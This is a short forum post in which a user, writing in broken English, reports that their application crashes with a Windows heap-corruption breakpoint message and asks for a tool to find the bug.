Hi member i am sock my application crash eventually.I am using 2008 and got assertion.

Windows has triggered a breakpoint in ABC.exe.
This may be due to a corruption of the heap, which indicates a bug in ABC.exe or any of the DLLs it has loaded.
This may also be due to the user pressing F12 while ABC.exe has focus.
The output window may have more diagnostic information.

Can any tool is there which denote me where i am wrong. Forum member every help increase me.
